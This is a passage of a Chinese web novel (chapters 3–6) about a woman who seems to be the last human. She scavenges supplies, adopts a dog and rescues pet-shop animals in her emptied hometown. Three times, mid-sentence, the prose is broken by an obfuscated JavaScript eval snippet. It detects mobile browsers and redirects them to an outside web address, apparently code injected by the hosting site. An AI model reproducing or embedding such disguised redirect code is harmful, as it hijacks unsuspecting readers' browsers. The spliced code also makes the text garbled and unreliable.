《最后人类》 3. 第 3 章 开车前往超市的途中,风栖顺便列了个清单,好等会进行搜刮、不是,战略资源补充。 虽然她很不想承认,但……人类消失,恐怕不是一两天能回来的,这个消失的时间,可能是几天、几个月,也可能是几年,甚至…… ——可能永远也回不来了。 她总得做好最坏的打算。 风栖把需要的物品分了个类。她很有自知之明,自己不是什么有条理很有逻辑的人,平常去超市都必须先备忘录记下,一条条列好,才能克制住乱花钱的冲动,去旅游也是基本不做攻略或者直接听从朋友安排。像现在这种情况,好像什么都缺,什么都需要,风栖就不得不努力调动自己仅存的J属性,开始规划。 首先,规划出最要紧的衣、食、住、行四个大版块。 衣物可以放在最后考虑,反正衣服放在仓库一时半会不会坏,风栖思考着,自己一件衣服怎么着也能穿个三四年吧?按春夏秋冬四个季节,每个季节准备多些回去,就不用再费心了。 食物方面,容易腐坏的肯定不能带,冷冻的也不行,谁知道电还能用多久?风栖给食物又细分了几类,主食、罐头、腌制腊味、药品、种子等等。 其实风栖倒不觉得食物需要带多少。这可是在老家,家家户户都开了菜地,不少人家里还有果园,乡里还有水库有鱼塘,到时候自己再找块地种水稻,不就齐活了吗? 不过饿不死和吃得好是两码事,换以前风栖经常三天饿九顿然后暴饮暴食,但现在人都消失了,生病怎么办?没有医生,没有药的情况下,即便是小病也可能变成大病。 一想到这点,风栖就决定回去要努力锻炼保持身体健康,还有这混乱的作息也必须改掉。如果真要有什么大病,风栖直接就躺平放弃挣扎了,但现在她还好好的,她就得努力把自己这条命打好地基,夯厚实点儿。 “行”的清单里,稍微好些,也可以延后处理。等一切安顿好了,带几辆自行车和摩托车回去,之后,再尝试能否开回别的汽车,最好要大一些的。不过汽车恐怕很难弄到手,虽然满大街都是无主汽车,可没钥匙,就算打破玻璃进车里也发动不了。也许过几天得去4s店试试。 风栖回想起自己看的那些末世影视剧,主角到底是怎么解决这个问题的?怎么大街上随手拉开车门就到手了新座驾?纯靠导演大手一挥么? 她的导演在哪里,快出来!都最后一个人类了,不给点金手指吗?比如储物空间随身戒,或者塞点异能啊。 可恶怎么思维又跑偏了?现在是胡思乱想的时候吗? 就这么一路头脑风暴兼谨慎安排中,目的地到了。 风栖晃晃脑袋,在超市门口踩下刹车,先不急着开车门,小心地环顾了一圈。 由不得她不谨慎,来时路上风栖发现野猫野狗明显变多了,在路上放肆奔跑。就像是它们察觉天敌消失后,开始逐渐替曾被城市侵占的大自然夺回地盘。 风栖并不讨厌宠物猫狗,但她很害怕野狗,野狗在她看来已经脱离了“狗”,趋近于“狼”的范畴。尤其在风栖还小时,本地出过个惨案,有个小孩独自在家门口玩,被几只野狗分食,上了新闻还不打马赛克,给年幼的风栖带来巨大心理阴影,从此都绕着野狗走。 超市门口是一排停车位,摆了好几排共享,停车位前的垃圾桶还没清理,几只黄黑相间的狗正低头嗅闻,尾巴甩得欢快。 风栖把从家里带出的斧子握在手上,心里添了几分底气。她记得一种说法,人不能害怕狗,狗发现你害怕,就会把你当做猎物。你越不怕它,它越害怕你。 三只流浪狗各自回头看一眼。其中一只停下翻找,颇通灵性地小步试探凑近几步。 风栖握紧了斧子,屏住了呼吸,尽量俯视着它,微弓背,做出准备进攻的姿态,让自己看起来更有威胁一点。 风栖已经幻想出了中二的打斗场景,听说狗和狼一样,都是铜头铁骨豆腐腰,所以,如果真的被围住,只要对准腰……哎不是,怎么跑了? 野狗重回垃圾桶边,风栖松了口气,握紧斧头往前走。 她连鸡都没杀过,能不动手还是不动手好。 超市入口并排三道卷闸门紧闭,风栖用力按下卷闸门,敲了敲,感觉出里面还有道玻璃门,看起来不像能撬开的样子。 不过一般超市都有仓库,风栖转了一圈,找到仓库小门,暴力破门而入。 警报声被风栖忽视了,有本事真把她抓走。 仓库连通着超市,漆黑一片,风栖打开手机手电筒找了会儿,打开大灯,整间仓库亮了起来,再暴力破开另一边玻璃门,进入超市。 超市内部一片漆黑,风栖找不到照明开关,她只能先靠手机光亮找到百货货架,翻出一堆照明工具,什么台灯手电筒小夜灯一类,装在购物车上,再继续搜刮。 我的空间戒指呢?快端上来! 这是风栖运了好几轮购物车后的内心呐喊。 后备箱装满了米面粮油,风栖把副驾驶放倒了,堆了几箱杂物,包括各种型号的电池、刀具、绳索等等,后备箱也塞满了东西。刚才来的路上风栖记下了几个五金店的位置,来回几趟,又运回不少危险物品。 忙完这一切,天将擦黑。 白天还好些,即便空荡无人,好歹有光亮,在马路上跑来跑去的流浪猫狗也让风栖安心。 天暗下来后,路灯、霓虹灯、商店招牌不再亮起。远处夕阳仿佛将人间的光全都带走了,车灯被夕阳暖黄的光吞进去,反倒更暗。 风栖把音乐开到最大,提心吊胆往回开。 是错觉吗? 怎么听到了野兽嚎叫? 一天而已,野生动物就从森林里跑出来了? 风栖不敢再想,僵硬地握着方向盘,当她看见自家院墙外亮起的灯时,心里自己都没察觉地松了口气。 院墙外的灯还是她小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640576|172690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姨装的。小姨和小姨夫学会网购后就停不下来了,每天都有奇怪的快递到家。这太阳能壁灯也在此列,小姨一口气买了十个,自家院子塞了七个,再摆实在不好看了,剩下三个就死活要装到姐姐家外头。 风栖爸妈寻思这玩意儿也不需要电费,就随她了,小姨在底下扶着梯子,小姨夫爬上去挂好。夜里果然有光,小姨吃完晚饭散步时还特地拍照片发给她看,得意自己这次没买到假货。 想到这儿,风栖忍不住笑起来,黑暗也没那么可怕了。她停下车后进屋,万幸,电还能用。她把屋里所有的灯都打开了,照的亮堂堂,几乎没开过的电视也打开了,风栖瘫在沙发上,一手苹果面包,另一手遥控器不断调台。 该播放新闻的频道全都在放广告,或是干脆变蓝屏。风栖不再去想背后意义,随便调了个气死人的苦情剧发呆。 也许这是仅存的可以看见人的机会了,再过一阵子应该就没信号了。 没信号以后,能干嘛? 得弄点书回来。 唔,今天带回来的那堆东西还放在院子里…… 明天再收拾吧,今天累了,而且天都黑了,天黑以后不宜干活。风栖理直气壮地想。 啃完一个苹果,抬手一抛,正中垃圾桶。 球进了!奈斯! 风栖心满意足。不过,盯着垃圾桶,她后知后觉想起另一个棘手问题。 正如粮食不会凭空产生,垃圾也不会凭空消失。 生活物资可以搜刮,垃圾怎么办?扔到哪儿?或许短时间可以选附近一个地方扔,时间久了,垃圾山发霉腐烂怎么办? 往更远一点想,以后上厕所怎么解决?虽然听说化粪池几十年都不需要清理,可万一呢?万一出什么意外,比如马桶堵了下水道漏了或者沼气忽然爆炸了呢? 啊啊啊啊所以为什么全人类飞往太空的时候不带我?为什么! 反正没人看见,风栖滚在地上抱头无声尖叫,滚了半天,想上厕所了,老老实实爬起来去卫生间解决。 先……先就这么着吧,明天再说。 说不定,明天一觉醒来,全人类正常回归! 呃不过那时候自己就得付钱了吧? 风栖紧张地算了下自己从超市搜刮回来的一大批商品价格,还不包括五金店顺回来的那些,算不到一半就算不下去了,一口气花了几个月工资。 要不……到时候就说出实情?有图有视频,保证真实无p,这样她一定会被带去研究吧?误入人类消失的平行世界什么的,兴许还能靠这个赚点广告费赚钱,那肯定就不愁了。 这么一想,如果明天人类回归,总是件好事。 风栖洗漱过,躺在床上,她本以为自己会睡不着,结果不知不觉困意就上来了。 意识混沌前,她还在幻想着如果明天恢复正常,她该怎么做,怎么说,自己红了以后该怎么办等等。 所以……都回来吧。 4. 第 4 章 “上班——” 闹钟一响,风栖从床上弹起来,按掉闹钟。 天刚蒙蒙亮,晨光穿透粉橘色碎花窗纱,照在风栖呆滞的脸上。 发呆一会儿,重新倒下去。 对哦,领导同事在外星,不用上班了。 所以为什么昨晚忘了把闹钟关掉?醒了就睡不着了…… 风栖在床上滚来滚去,不情不愿掏出手机坐起来一看,除了移动营业厅自动发送的短信外,没有任何消息。 她谈不上失望,开始思考,今天要干嘛来着? 收拾昨天拉回来的物资,有好几车,还堆在小房间,还有……得去搜集一点书,蜡烛,煤、汽油什么的,再想想…… 想着想着风栖就又倒在了床上。 好累,还没干活就累了。 这不是懒惰,这只是心灵先一步身体进行了劳动导致疲惫。 心灵劳动许久,天都从微亮变成明亮,风栖才慢吞吞拖着精神的躯体和疲惫的心灵从床上爬起来,真正开始了一天的身体劳动。 决定了,这两天先以收集物资为主。收拾什么的,等闲下来再说吧,先把长期需要用的、暂时无法自己制作的东西都集齐,再慢慢规划。 风栖很认真地做了一顿早饭,用家里剩下的荞麦面,加两个蛋,一个油煎一个水煮,撒上葱花、牛肉碎和干辣椒。很香,香的风栖认真吃完后又慢吞吞洗碗,还擦了一遍厨房的灶台,甚至把窗户也擦了一遍,才慢吞吞出门。 哎,生活。 哎,生下来就要干活。 风栖先去五金店找了油桶,再去加油站把油桶加满,然后运到离家两公里远的邻居家里。一连跑了十几趟,把邻居家的几个房间装的满满当当,期间顺便收集了不少工具。 至于怎么开门的,嗯……不可说。 虽然许多地方没电了,但不知为什么信号一直还在,也许是有什么特殊保护机制? 不清楚。 总之风栖带了十几个充电宝,跟游戏开荒时一样搜索教程,想起需要什么就搜该从哪儿获得,然后搜地址导航。之后按着同样方法,如法炮制运了十几趟蜂窝煤、电池、各种常用药、酒精、消毒水等等,还有一些关于植物和农业的书籍。 直到现在,风栖才发现自己对家乡了解甚少。 她行驶在熟悉的不平整马路上,记得这条路一直在修,修了又修还是坑坑洼洼,因为总有货车喜欢往这过。 她记得道路两边都是很传统的手艺店,编筐的、理发的、卖纸钱扎纸人的、卖饺子皮面点的榨花生油的……一路走过去,头油香面点香、花生鲜榨的喷香,混杂在两边老旧音响放出的沙哑歌声。 但风栖也发现,自己从未真正了解过和自己生活在同一处小地方的人们,也从未深入了解过这片土地。 他们更像是一串象征着家乡的符号。如今,又变成了一串自己都不清楚具体数目的消失人口中的一员。 破门而入时,风栖甚至不敢看那些人留下的生活痕迹。照片、摆件、衣物等通通被她当做了杂物一股脑堆到最小的一间房间。这样她才能说服自己,这里不是别人的“家”,是她需要的仓库。 她需要这些仓库。 跑了一整天,和昨天一样累得够呛,顺道把这些空屋里的剩菜什么的都集中装箱,运到垃圾站一块儿扔了,水果零食一类就由她收走,以免腐烂发霉。 她还收获了一条小狗,土黄色,毛短短的,尾巴断了半截,尾巴和耳朵尖尖都带点黑。 风栖认识这条狗,名叫蛋黄。姑姑带她去吃某个亲戚的儿子婚宴,有个中年女人,姑姑让她叫表婶的,牵着它,和她们坐同一桌。表婶一边逗着蛋黄,一边和姑姑聊天,她也跟着喂了蛋黄一块鸡腿肉。 她暴力破开表婶家门时,蛋黄冲上来想咬她,她叫一声名后又停住了,疑惑地在她腿边转来转去,嗅嗅闻闻,最后咬住她裤脚往房间里拖。 真好。 它还记得自己。 风栖顺着力道进房间,蛋黄在床上呜呜汪汪地跳来跳去,十分焦躁。 风栖明白了什么,蹲下去抱住这只土黄色圆眼睛的小狗:“蛋黄,表婶不在家,不回来了。” “你先跟着我,好不好?表婶回来了我就送你回去。” 哄骗许久,蛋黄总算肯跳上车门,趴在她脚边,喉咙里依旧发出委屈低沉的呜汪声。风栖忍不住把它抱到腿上边摸边开车。 “好乖,乖蛋黄,不怕。”风栖摸着它的耳朵,低低地哄。 她心中冷静地想:她还需要几条狗,要小一点的狗,从小养到大,这样才能保护她,不会咬她。 现在没有医院,打不了狂犬疫苗,她不能受伤。 还要一些家禽牲畜,光靠老家那口鱼塘的鱼不行。 又到了太阳快落山,风栖才回到家。她先把蛋黄放出来,任由它在院子里撒欢跑跳。风栖自己没吃多少东西,但还是找出冻肉,解冻后水煮了喂给它吃。 蛋黄吃饱喝足,很开心,甩着小尾巴围在她脚边转,声音又嫩又响亮,和她一块进进出出,做出一副很忙碌的样子。 一人一狗吃完晚饭,风栖搬出躺椅躺在院子里,翻看自己白天拍的照片,和前一天做对比。 不是错觉,仅仅一天而已,绿植变得更茂密了,马路本该是平整的,路面也冒出了星点绿意。 野生动物也变多了。 昨天只能见到流浪猫狗,今天……风栖隐约看到了不认识的动物的影子,她可以肯定那绝对不是猫狗,还有辨不清物种的鸟,哗啦啦一大群从空中飞过。 这才一天而已,再过几天,又会变成什么样? 家里已经没电了。 风栖不确定是什么缘故,可能和她路上看见的断裂的电线有关,也可能是发电厂没有人维护? 总之,没电用了。 天黑后,风栖点了很多蜡烛,她还特地去超市搬了一些圆口玻璃罐,把蜡烛放进去,当做灯笼照明。 昨天热水器还能用,今天没电,自然也没热水了。 好在当初因为爷爷奶奶坚持,老房子里还保留着土灶,铁锅大到足足方圆一平米,铁锅炖自己都没问题。 风栖还记得,小时候爷爷奶奶把她放在锅里洗澡。下面炉子里噼里啪啦烧柴火,上面水咕噜咕噜冒泡。每次她都很担心,趴在锅边问奶奶自己会不会煮熟。 想到这风栖忍不住笑了,举灯看外面好像没什么危险,小心翼翼带着蛋黄去隔壁邻居家打水。 隔壁邻居院子里有一口井,不知是哪一年打的,好像自从房子盖成以前就有了。屋主是一对开餐馆的中年夫妻,就是那种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640577|172690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国道边的夫妻店小饭馆,没有菜单,里面摆两个冰柜放着食材,来往的司机就看着食材点菜。风栖很爱这种餐馆,平日出差回来都会特地去吃几顿。现在是吃不到了…… 不能再想了! 风栖摸了把蛋黄的毛,专心打水。她力气不够,只能半桶半桶地倒进大桶里,再用小推车往回推。蛋黄跟在她身边欢蹦乱跳,见她把水倒进锅里,伏下半边身子伸出小舌头吧唧吧唧地舔流水。 “这不是给你喝的!”风栖把蛋黄抱开,倒了一碗水给它。 蛋黄看都不看那碗水,装得乖乖的,等风栖弯下腰舀水又探头去舔。 风栖弹一下它的鼻子:“你说你,和小破孩有什么区别?越不让做的事越来劲。” 蛋黄满眼无辜,被弹了几下鼻子后呜呜汪汪跑开了。 就着烛光,风栖倒好满锅的水,估计着差不多了,蹲下去想点火。 蜡烛烧在蜂窝煤上,风栖才发现自己又干了蠢事。 以前奶奶烧火时,都要先用好点着的东西当火引子。她记得,有些时候是报纸,更多是一种有点儿枯的,叫不出名字的草,黄黄的,一点就着。 风栖叹口气:“蛋黄,你在这里看着……算了,你和我一起去。”抱着蛋黄进房间。 风栖爸爸盖的三层自建房,每层四室一厅两卫,原本一楼是留给她堂弟的,不过她堂弟就没打算留在乡里,就算这样她爸也留着一楼不让动,如今阴差阳错给她省了不少事,正好把家人的杂物全都堆在一楼大房间主卧。 风栖从一堆杂物里翻出不要的旧作业纸,拿去当火引子,担心点不着蜂窝煤,又敲碎了其中一块,用纸团子包着丢进火里。 想了下,风栖又倒了一点点油。 应该没…… 火苗猛的蹿起来,还好风栖退得快,要不刘海都给燎光了。 风栖盯着炉子,好在这回没再出幺蛾子,火慢慢变小,最后稳定下来。铁钎子伸进去拨弄,蔑编扇子扇风,煤块边缘慢慢发红,红迹渐渐往里渗,整个炉子的温度终于升了起来。 五月底的天,放在南方已经够热了,更别提还要蹲在火炉边,还有一团毛绒绒热乎乎的小狗非要往怀里钻。风栖很快就热的衣服头发都湿了,再看蛋黄也热得吐舌头,忙抱着小黄狗站在厨房门口吹风。 盯着火光看过后,再看别的东西都会感觉太暗,眼睛酸涩得像被砂纸磨过,风栖揉着眼睛,拿手机自拍当镜子照过,眼圈果然红了,可能是刚才进了灰。 只是烧个水而已,这还是准备了煤,都不用自己去砍柴呢,放在古代,许多老百姓甚至都用不上热水,该知足了。再说了,一开始不是做好了像古人那样生活的准备吗? 风栖边揉眼睛,边像老人家念叨恨铁不成钢晚辈那样碎碎念,慢慢的,平静下来,重新回到炉子旁摇扇子给自己扇风。 没办法,不这么想还能怎么办?抱怨要是有用,她早就成富婆了。 估摸着水温差不多了,风栖把小黄狗赶出厨房,舀了水兑在盆里,洗了个痛快。 她没料到蛋黄一直在门口等她,推开门时差点踩到这只小狗。她赶忙抱起蛋黄,不顾自己才洗干净,她听见自己的声音格外温柔。 “蛋黄,你是在保护我吗?” 蛋黄舔了一下她的手指,欢快地甩起尾巴来。 5.第 5 章 一夜无话。 风栖抱着蛋黄,睡的很沉很沉。 第三天了,依旧和前两天一样。 风栖已经接受了这个事实,认真地做了早饭。 和昨天一样,荞麦面半生后加入牛肉片,水开后关小火,筷子捞进碗里,放入烫青菜叶,撒一层干辣椒和芝麻碎,再放两个剥了壳的水煮蛋。 蛋黄也得到了属于它的早饭——半碗水煮肉,一个熟鸡蛋,还有一小碗没有加盐的水煮面。 一人一狗呱唧呱唧吃得很香,吃过后,风栖收拾碗筷,把家里的垃圾也清理出来,包括堆积在一楼主卧的杂物,装在大号垃圾桶里。 今天她准备带几只鸡鸭回来,再看看哪里方便扔垃圾,她需要几个垃圾站。 许多事想着时很可怕,真正面对了其实也不难。风栖一开始担忧的垃圾处理点问题,离家太近腐烂发臭会影响自己,离家太远又不方便,那分散开不就好了? 该相信大自然的分解能力,没见不过一天水泥路上都钻出了植物吗?她一个人的垃圾又能多到哪里去? 风栖觉得自己已经平静了下来,她已经做好了长期独自生活的准备。 就算准备不足也没什么问题的,她已经有了那么多物资,而且只是一个人独处而已嘛,比起某些有丧尸的末世文主角,她的待遇还不错了不是? 风栖拉来车门,蛋黄主动跳上去,卧在她脚边。 “蛋黄,我今天看看能不能给你带几个兄弟姐妹回来。”风栖摸了摸它的小脑袋。 蛋黄汪汪两声。 不过等车发动后它就不那么淡定了,一蹬腿跳到副驾的座包上,对玻璃使出一套小狗拳,看起来很向往车外的自由。 风栖没养过狗,观察了一会儿。确定它就是拍玻璃玩不是真的想出去就放心了。 风栖导航去了附近最大的花鸟市场,说是附近,离家也有四公里多,接近五公里。 也是到现在风栖才发现,只要不是荒无人烟的地方,只要真去找,就一定有能满足需求的设施。 花鸟市场如今没有摊位,但好歹有店面,风栖挑了一家大点的,暴力破门。 昏暗的店面骤然亮了起来,一股臭味熏的风栖差点没喘上气,赶紧开窗通风。 关在笼子里玻璃箱子滚轮里的动物吱吱喵喵汪汪地纷纷躁动起来,目光渴望,也有些蔫蔫的,像好些天没浇水的花。 风栖没有先喂食,她把大小笼子箱子都打开了,不算大的店里顿时一团乱,黄绿鹦鹉们扑腾往外飞,猫狗兔子有些跑了,有些跑到她脚边很可怜地叫。 还好蛋黄没跟来,风栖把它留在车上了,开了一小半车窗,确保蛋黄不会跑掉。 跑出去的大多是狗,少部分是猫,绝大多数兔子都窝在原地,间或懒蔫蔫地动弹两下有些甚至还趴在笼子里没跳出来。风栖也顾不上那么多,找了一圈翻出猫粮狗粮,几大袋直接倒在地上,堆成了小山。 一时间屋里全是吧唧吧唧进食响。 风栖蹲下去,挨个摸摸抱抱。 光顾着吃的、不耐烦躲开的、想咬她的都被排除了,这部分占了一半。另一半小猫小狗乖顺可爱又黏人,可怜地在它们救星身边转来转去。 风栖也没马上定下,她往门边走了几步,要离开的样子。 好几只小猫颤巍巍跟过来,一只趴在她脚面,一只尾巴勾着小腿,圆圆的脑袋蹭来蹭去,发出软绵绵的很可怜的叫声。还有五只小狗,两白一棕一黑一黄,围着她嫩嫩地呜呜汪汪叫。 风栖听过类似叫声,以前大学的时候校园里就有一只很肥的橘猫,随时冲到学生面前就地一躺露出白肚皮可怜地哀哀叫,一旦给它点吃的,还没摸就叼着马上跑了。 这几只会不会也一样? 不对,养猫只是为了捉老鼠蟑螂的,养狗也是为了防身,又不是为了摸它们。 风栖心里这么想着,往门边走了几步。 愿意跟着走的,就留下。没跟来的,那就是没缘分。 风栖跨出门,两只一边蹭一边吃狗粮的狗连吃都顾不上了,冲过来拼命蹭她。蹲在角落默默啃猫粮的一只小橘猫也忽然蹿到她面前,在门口就地一躺,翻出白肚皮。 大概动物也有从众效应,越来越多猫狗聚了过来。 …… 风栖带着一群猫狗浩浩荡荡打开车门时,蛋黄明显震惊了,一骨碌爬起来,不可置信地看着风栖,叫的很大声。 风栖莫名其妙有点心虚,摸了摸蛋黄的脑袋:“它们都是来捉老鼠和看家护院的,你不一样。” “当然,你如果非要保护我的话,我也会很高兴。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15654500|172690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >载着一车猫猫狗狗回家,往院子里一放,倒了些猫粮狗粮就不管了,系了围裙去做饭。 切着菜,总忍不住想起一路上闻到的,若有若无的腐臭味。 人不在家后,残余食物开始腐烂,也许还有宠物和家禽在家中死去。这只是开始,后期腐烂的东西只会越来越多。 风栖知道自己管不了那么多,今天把花鸟市场能看到的动物都放出来已经花了太多时间了。 风栖低头切菜,菜刀把大蒜一个个拍扁剁碎,加上碎辣椒、芝麻,热油浇上去,“刺啦”一声响,鲜香味和着白烟就飘了出来。跟进厨房的蛋黄呛了几个喷嚏,夹着尾巴拼命往外跑,把风栖逗笑了。 算了,不想了,不要产生莫名其妙的负罪感。本来一个人独处太久就容易出心理问题,再自怨自艾不是更糟糕了吗? 风栖尽量让自己想些开心的事,做好饭后,把蛋黄叫过来一块儿吃。 因为昨晚特地多蒸了饭,今天风栖做了牛肉炒饭和炒青菜,加一碗蒸蛋。蛋黄在桌底开小灶,其他猫猫狗狗们在院子里沸腾。 这两天太累了,风栖察觉到自己这两天饭量大了很多,她按照正常饭量又添了一点,结果还是感觉没吃饱,不得不再煮一碗面。 最后她吃了整整三碗,一碗饭,两碗面,又啃了一个苹果,一直吃到快撑吐才停下。 不能再这样了,不能拿身体开玩笑。 风栖在院子里转圈散步,身后一群小猫小狗追着她的步子跑,吵吵闹闹的又心烦又叫人喜欢。 五月的太阳说热不热,说凉不凉,一直转到背上出了一层汗胃里总算舒服了些,不再撑得想吐。 下午……下午该做什么? 可以做的事太多了,她想养鸡和鸭,院子里可以垒一个鸡窝。还有,搜罗来的一大堆乱七八糟的东西都没有收拾,衣服也没有收集,这些都是可以马上忙起来的事。 风栖脑子里乱乱的,她明白自己该动起来了,可是她还是拖了躺椅放在屋檐底下,随手捞一只路过的矮脚猫抱在怀里,又选了喜欢的歌单,在歌声中闭上眼睛。 休息一下午吧,没事的。 明天再做,也一样。 风栖睡着了。 满院子都是撒欢奔跑的小猫小狗,渐渐的有几只也趴在她身上、她脚边睡下了。 6.第 6 章 可能真的太累了,风栖一觉醒来,天都黑了,一看手机,自己从三点睡到快晚上八点半,五个多小时。 但是风栖没感觉睡足,反而更累,两边太阳穴胀得厉害,脑子里一阵阵刺痛恶心,简直就像头天晚上洗了头没吹直接睡一觉后那样难受,坐起身后腰也酸得要断了。 怎么回事?梦里被人揍了? 坐起身,裤子上血迹让她瞬间破案。 来月经了。 天杀的……风栖第一次爆粗口。 以前她大姨妈就没准时来过,有时候一个月两次,有时三个月一次,所以风栖是真的下意识忽略了这件事,都快忘了自己是个女的了,就连前两天疯狂囤货也忘了囤卫生巾。 她都不知道自己是怎么忽略的,现在想起来进超市的时候明明也经过了卫生巾货架,但就是被她忽略掉了。 就跟她以前拿着手机找手机,找了半天打电话一样。 真是蠢无止境…… 风栖腰腿酸软地站起来,还要摸出打火机点着蜡烛,步履蹒跚地进房间翻。 她记得之前六一八活动,妈妈说小姨买了十几箱卫生巾,一部分快递改了地址送她,应该都送到了。 虽然不知道为什么六一八节五月中旬就开始搞打折,但现在真是帮了大忙。 换上后,风栖才感觉自己活了过来。 她实在不想再洗裤子,干脆把换下的衣裤脱了装垃圾明天扔掉。 裤子可以不洗,澡还是得洗的。 昨天水龙头里的水就有些脏,发黄发污,又因为热水器用不了,风栖才去隔壁邻居打井水。想到等会还要打水烧水才能洗澡,风栖就心累。 难怪说古人洗澡频率不高呢,搁她她也不想折腾。 又坐了一会儿,实在忍不了一身汗,黏黏的,头发也油了。风栖磨磨蹭蹭来到井边,就着昏黄烛光费力用压水井打水。 热水器,空调,我怀念你们,呜呜呜。 风栖也想过要不干脆在邻居家洗得了,可找了一圈,邻居家没有柴火灶,没法烧水。五月的天虽然挺热的,但是井水寒凉,风栖不敢冒风险洗冷水澡,还是累死累活推着水回到自家厨房。 想到还要洗头发,洗了还得烘干,风栖心一横,干脆自己动手,把头发全剪了。 虽然……大晚上的点着蜡烛对着镜子剪头发真的很像恐怖片。 她其实可以只把头发剪成寸头的,不考虑美观的话,这不难。可是她不知道怎么的,一直一直剪,剪到最短不好剪以后,拿着修眉刀剃掉了一大片发茬,剃得露出青色的头皮。 头发一片一片掉落下来,慢慢露出头皮,风栖莫名有一种病态的报复的快感。然后她就被自己这个念头吓到了。 她知道不能再放任这样的想法了,再这样下去,她会变成什么样? 她强迫自己往好的方面想。盯着镜子里斑驳的光头,风栖开始想到自己高中时候的教导主任,毕业聚餐时他自豪地说自己从来不洗头,洗脸的时候抹一把就行。风栖忍不住笑了起来。 光头也好,这样都不需要洗发水了。 丑就丑点,反正没人看见,不照镜子就丑不到自己。 洗澡的时候风栖就听到了隐约的雷声,等她洗完出来一看,外头飘着毛毛细雨,从天上的乌云看,晚上肯定会有一场大雨。 满院子猫猫狗狗正喵喵汪汪地乱蹿,风栖不想他们进屋也没办法,淋一夜雨非得生病不可。 她把大门打开,这群毛绒绒的小东西就滚着爬着冲进来了,一进来就不约而同地甩脑袋抖毛,水珠噼里啪啦满地撒。 “小朋友们,不可以把水弄到我身上,我洗过澡了。”风栖说。 蛋黄龇牙傻乐,听不懂,沾了泥巴的狗头眼看就要蹭过来。 “停!!别过来!!”风栖尖叫,竖起手指大声命令蛋黄,“停下!停下!不准过来!” 她可不想再洗一次。 蛋黄总算停下了,摇着带黑尖尖的土黄小尾巴哈赤哈赤原地转圈,蠢蠢欲动想往她身上扑。风栖不断拍着手,手掌往下按:“坐下,坐下……蛋黄,听话。” 她差点忘了一件事,这些猫猫狗狗需要驯服,才能成为她的帮手,养着这些小家伙不是做为宠物的。 好在这些猫猫狗狗们都很乖,在她的指挥下乱七八糟地或趴下或乱滚,总算没有靠近她了。 风栖奖励了蛋黄一个罐头,其他听话的猫猫狗狗也有个罐头,趁他们呱唧呱唧吃的香,马上溜上楼锁了二楼的楼梯门。 本以为能睡个好觉,结果白天睡多了,有些睡不着,楼下又传来一群猫狗跑酷打架的噪音。 不知道谁输了谁赢了,嗷嗷叫,又不知撞翻了什么东西。搁以往会被楼下邻居找上门投诉的程度。 风栖实在懒得管,又睡不着,干脆披衣坐起,窗帘也拉开了。雨点噼里啪啦打在玻璃窗上,流下一道道暗色的泪。 乡下的夜晚和城里不同,入夜后本就是没有灯光的,就好像回到了从前,一家人回到老房子里住时,她也常常半夜睡不着,开一盏小台灯看夜景。 风栖托腮看了很久,实在无聊了,索性玩手机。 因为没有电,手机电量不足只能靠充电宝。风栖这个网瘾十重患者不得不减少和手机爱妃的相处时光,连网都不敢开,只敢在导航的时候放肆地使用流量。 刷了许久的帖子,心知发出去的评论不会再被回复,反而更无聊了。风栖干脆再奢侈一点,挑了部一看就无聊的国产青春电影看了起来。 冗长沉闷的爱情电影颇有催眠功效,看的她昏昏欲睡,眼看打着哈欠了,一条短信提示音让她又猛的清醒。 短信?! 谁?! 几乎是飞快抓起手机,看过后,刚刚还狂跳的心马上就跟死了一样平静。 哦。 ……快欠费了。 不是,这都世界末日人口灭绝了,还要提醒交话费,这合理吗? 后来,风栖也不知道自己是怎么睡着的,这一次她睡得很沉很沉,好像做了很多很多梦,醒来后又忘了,一睁眼看到昏暗房间,还以为自己又一觉睡到了下午,摸出手机一看,上午十点多。 很久没有这样痛快地睡一觉了。 风栖在软乎乎的床上滚了两圈,恋恋不舍爬起来,拉开窗帘打开窗,雨已经停了,潮湿的风呼一下灌满了房间,她整个人都清醒了,就连昨天还折磨的月经都没那么烦了。 结果一下楼她差点被满地毛迷了眼,又差点被疾冲来的一只纯黑小狗绊倒,一楼大厅已经不能看了,臭气熏天。 “停!停停停!”风栖捂着口鼻,思索片刻,“那什么,大黑,停下!” “大黄,你也是!坐下!对,乖大黄,坐下。” 风栖觉得自己简直是天才,用大小+毛色起名,狗就用大猫就是小,这一大群加起来二十多只猫猫狗狗瞬间都拥有了自己的名字。 至于毛色重合的,嗯……比对一下还是能分出深浅嘛。 不过风栖可不敢再散养了,列了一下今天要的物资清单后,她决定还要多带些笼子回来。 爱打架的猫猫狗狗必须分开养了,还有,昨天都定好了要带回些鸡鸭,结果昨天直接睡着了,这事就没成,今天也一定要带回来。 准备做饭时,风栖发现个很糟糕的事——家里没鲜肉了。 